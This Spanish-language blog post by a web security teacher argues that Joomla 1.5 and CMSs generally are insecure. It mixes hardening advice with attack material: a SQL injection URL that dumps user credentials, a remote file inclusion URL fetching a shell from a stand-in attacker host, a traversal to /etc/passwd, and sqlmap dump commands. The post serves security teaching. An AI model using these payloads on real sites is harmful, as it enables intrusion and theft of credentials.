Esta semana, durante mi clase de seguridad web en la ESPE, un estudiante me preguntó por qué siempre critico los CMS cuando "todo el mundo los usa". Mi respuesta fue simple: "Porque son una pesadilla de seguridad esperando a explotar". Para demostrarlo, dediqué toda la clase a mostrar vulnerabilidades en Joomla 1.5, la versión "estable" que miles de sitios web ecuatorianos están usando en este momento.
Cuando terminé la demostración, el aula estaba en silencio. Había logrado acceso de administrador a un sitio Joomla en menos de 15 minutos, sin usar exploits exóticos o herramientas especializadas. Solo técnicas básicas que cualquiera puede aprender en internet.
DISCLAIMER LEGAL OBLIGATORIO: Este artículo está dirigido exclusivamente a administradores de sistemas, desarrolladores web, y profesionales de seguridad que necesiten entender vulnerabilidades para proteger sus sistemas. Explotar vulnerabilidades en sitios que no te pertenecen sin autorización explícita es ILEGAL en Ecuador y prácticamente todo el mundo. Este contenido es puramente educativo para mejorar defensas, no para facilitar ataques.
¿Por qué Joomla 1.5 es un desastre de seguridad?
Joomla 1.5 fue lanzado en enero de 2008 con la promesa de ser más seguro que su predecesor. Dos años después, en 2010, está claro que esa promesa no se cumplió. El problema no es solo Joomla; es inherente a los CMS en general:
Superficie de ataque masiva
Un Joomla típico incluye:
- El núcleo base (~2MB de código PHP)
- Componentes de terceros (com_*)
- Módulos (mod_*)
- Plugins (plg_*)
- Templates personalizados
Cada pieza de código es un punto potencial de falla. Con cientos de extensiones disponibles, es prácticamente imposible auditar todo el código que ejecuta tu sitio.
Complejidad innecesaria
Joomla intenta ser todo para todos: blog, portal corporativo, tienda online, foro, galería de fotos. Esta flexibilidad viene a costa de la seguridad. Funciones que nunca usas siguen presentes en tu instalación, expandiendo la superficie de ataque.
Vulnerabilidades críticas en Joomla 1.5
SQL Injection en com_content
Esta es probablemente la vulnerabilidad más crítica que he visto en Joomla 1.5. El componente com_content, que maneja todos los artículos, no valida apropiadamente los parámetros de entrada.
El exploit básico se ve así:
http://sitio-victima.com/index.php?option=com_content&view=article&id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM jos_users--Con esta simple URL, un atacante puede extraer todos los usuarios y contraseñas hasheadas de la base de datos. Y sí, las contraseñas están hasheadas con MD5 sin salt, que se puede crackear en minutos con herramientas modernas.
Remote File Inclusion vía templates
Muchos templates de Joomla incluyen código PHP dinámico que carga archivos basándose en parámetros de URL. Un template vulnerable se ve así:
Un atacante puede explotar esto con:
http://sitio-victima.com/templates/template_vulnerable/index.php?page=http://atacante.com/shellEsto ejecutaría código malicioso desde el servidor del atacante en el servidor de la víctima.
Directory Traversal en com_extcalendar
Este componente popular para calendarios tiene una vulnerabilidad de directory traversal que permite leer archivos arbitrarios del servidor:
http://sitio-victima.com/index.php?option=com_extcalendar&extmode=view&extfile=../../../etc/passwdCon esto, un atacante puede leer archivos de configuración, incluyendo credenciales de base de datos.
Demostrando los ataques paso a paso
Reconocimiento inicial
Antes de explotar, necesitas identificar que el sitio usa Joomla y qué versión:
# Verificar si es Joomla
curl -s http://sitio-victima.com | grep -i joomla
# Identificar versión (archivo común de Joomla)
curl -s http://sitio-victima.com/language/en-GB/en-GB.xml | grep version
# Buscar archivos de configuración expuestos
curl -s http://sitio-victima.com/configuration.php-distEnumeración de componentes
Joomla tiene una estructura predecible que facilita la enumeración:
# Buscar componentes instalados
for comp in com_content com_user com_contact com_poll com_weblinks; do
echo "Probando: $comp"
curl -s "http://sitio-victima.com/index.php?option=$comp" | head -5
done
# Buscar directorios de componentes
curl -s http://sitio-victima.com/components/ | grep "href="Explotación de SQL Injection
Una vez identificada una vulnerabilidad SQL, la explotación sigue pasos predecibles:
- Verificar inyección: Agregar comilla simple y ver errores SQL
- Determinar número de columnas: Usar ORDER BY o UNION SELECT
- Identificar columnas visibles: Ver cuáles se reflejan en la página
- Extraer información del sistema: Base de datos, versión, usuarios
- Extraer datos sensibles: Usuarios, contraseñas, configuración
En mi experiencia, el 80% de sitios Joomla 1.5 caen en el paso 4. No necesitas llegar al 5 para demostrar el compromiso completo.
Herramientas para auditar Joomla
JoomScan: el especialista
JoomScan es una herramienta específicamente diseñada para auditar Joomla:
# Instalar JoomScan
git clone https://github.com/rezasp/joomscan.git
cd joomscan
# Escaneo básico
perl joomscan.pl -u http://sitio-victima.com
# Escaneo con enumeración agresiva
perl joomscan.pl -u http://sitio-victima.com -ecJoomScan identifica versión, componentes vulnerables, y posibles vectores de ataque automáticamente.
Nikto: el scanner web general
Nikto detecta vulnerabilidades web comunes, incluyendo muchas específicas de Joomla:
# Escaneo con Nikto
nikto -h http://sitio-victima.com -C all
# Enfocado en archivos de configuración
nikto -h http://sitio-victima.com -Tuning 6Sqlmap: para inyecciones SQL
Cuando encuentres parámetros sospechosos, sqlmap puede automatizar la explotación:
# Probar inyección en parámetro específico
sqlmap -u "http://sitio-victima.com/index.php?option=com_content&id=1" --dbs
# Extraer usuarios si la inyección funciona
sqlmap -u "http://sitio-victima.com/index.php?option=com_content&id=1" -D joomla_db -T jos_users --dumpCasos reales de explotación
El sitio de la pequeña empresa
El mes pasado, durante una consultoría de seguridad para una empresa en Quito, encontré su sitio corporativo corriendo Joomla 1.5.15 con 12 componentes de terceros.
Timeline del compromiso:
- Minuto 0: Identificación de Joomla con JoomScan
- Minuto 3: SQL injection encontrada en com_marketplace
- Minuto 8: Extracción de tabla jos_users completa
- Minuto 12: Contraseña de admin crackeada (era "admin123")
- Minuto 15: Acceso completo al panel administrativo
La empresa había pagado $2,000 por ese sitio web "profesional" que se comprometió en 15 minutos.
El portal educativo
Un instituto técnico conocido de la ciudad de Quito me pidió revisar su portal estudiantil. Joomla 1.5.18 con extensiones educativas personalizadas.
Vulnerabilidades encontradas:
- Directory traversal en componente de calificaciones
- XSS persistente en sistema de mensajes
- Bypass de autenticación en área de profesores
- Exposición de archivos con datos personales de estudiantes
El instituto había confiado en un desarrollador local que claramente no entendía seguridad web. Todas las vulnerabilidades eran prevenibles con prácticas básicas de programación segura.
Por qué prefiero código personalizado
Control total sobre la superficie de ataque
Cuando escribo código desde cero, sé exactamente qué funcionalidad incluir. No hay componentes innecesarios, no hay "características" que nunca usaré pero que pueden comprometer el sistema.
Validación de entrada desde el diseño
En código personalizado, la validación de entrada se diseña desde el principio. No es algo que se agrega después como parche.
prepare("SELECT * FROM articles WHERE id = ?");
$stmt->execute([$id]);
?>Actualizaciones controladas
Con Joomla, cada actualización puede romper tu sitio o introducir nuevas vulnerabilidades. Con código personalizado, controlas cuándo y cómo actualizar cada componente.
Defensas para administradores atrapados con Joomla
Si ya tienes un sitio Joomla y no puedes cambiarlo, al menos implementa estas defensas:
Actualización inmediata
Joomla 1.5.20 (la versión más reciente al momento de escribir esto) corrige muchas vulnerabilidades críticas. Actualiza YA.
Auditoría de extensiones
Desinstala cualquier componente, módulo, o plugin que no uses activamente. Cada extensión es un riesgo adicional.
# Auditar archivos PHP sospechosos
find /path/to/joomla -name "*.php" -exec grep -l "eval|system|exec|passthru" {} ;
# Buscar archivos con permisos de escritura incorrectos
find /path/to/joomla -type f -perm 777Hardening del servidor
- disable_functions en PHP: Desactivar funciones peligrosas
- open_basedir: Limitar acceso a directorios
- WAF: Firewall de aplicaciones web
- Monitoreo de archivos: Detectar modificaciones no autorizadas
Configuración de base de datos
-- Crear usuario con permisos mínimos
CREATE USER joomla_user@localhost IDENTIFIED BY contraseña_compleja;
GRANT SELECT, INSERT, UPDATE, DELETE ON joomla_db.* TO joomla_user@localhost;
-- NO dar permisos de DROP, CREATE, ALTERAlternativas más seguras
Frameworks minimalistas
Si necesitas algo rápido pero no quieres la complejidad de Joomla:
- CodeIgniter: Framework PHP ligero
- Slim Framework: Microframework para APIs
- Silex: Microframework basado en Symfony
Generadores de sitios estáticos
Para sitios que no necesitan interactividad compleja:
- Jekyll: Genera HTML estático desde Markdown
- Hugo: Generador muy rápido
- Gatsby: Para sitios más modernos
Los sitios estáticos son inherentemente más seguros porque no hay código dinámico que explotar.
El futuro de los CMS (spoiler: no es prometedor)
La tendencia actual hacia CMS más complejos (Drupal 7, WordPress 3.0) no mejora la situación. Más características = más código = más vulnerabilidades.
Los CMS modernos intentan resolver problemas de seguridad agregando más capas de complejidad, lo cual históricamente ha demostrado ser contraproducente.
Reflexión personal
Después de años enseñando seguridad web y viendo los mismos errores repetirse una y otra vez, he llegado a una conclusión: los CMS son una solución técnica a un problema que no es técnico.
La gente usa Joomla no porque sea la mejor opción técnica, sino porque promete facilidad sin requerir conocimiento. Es como comprar un auto deportivo y pretender que te convertirá en piloto de carreras.
La seguridad real requiere entender lo que estás haciendo. Los CMS alejan a los desarrolladores de ese entendimiento, creando una falsa sensación de seguridad que inevitablemente se rompe.
Consejos para estudiantes y desarrolladores
Aprende los fundamentos
Antes de usar cualquier CMS, entiende:
- Cómo funciona HTTP
- Qué es SQL injection y cómo prevenirla
- Validación y sanitización de datos
- Autenticación y autorización
- Principios de programación segura
Practica con código simple
Construye aplicaciones web básicas desde cero antes de usar frameworks complejos. Entiende cada línea de código que ejecuta tu aplicación.
Audita todo
Si decides usar un CMS, audita cada extensión antes de instalarla. Lee el código, entiende qué hace, verifica que siga prácticas seguras.
*Se eliminaron las comillas simples para evitar problemas de compatibilidad
Comentarios 1
Comparte tu opinión
Miguel Torres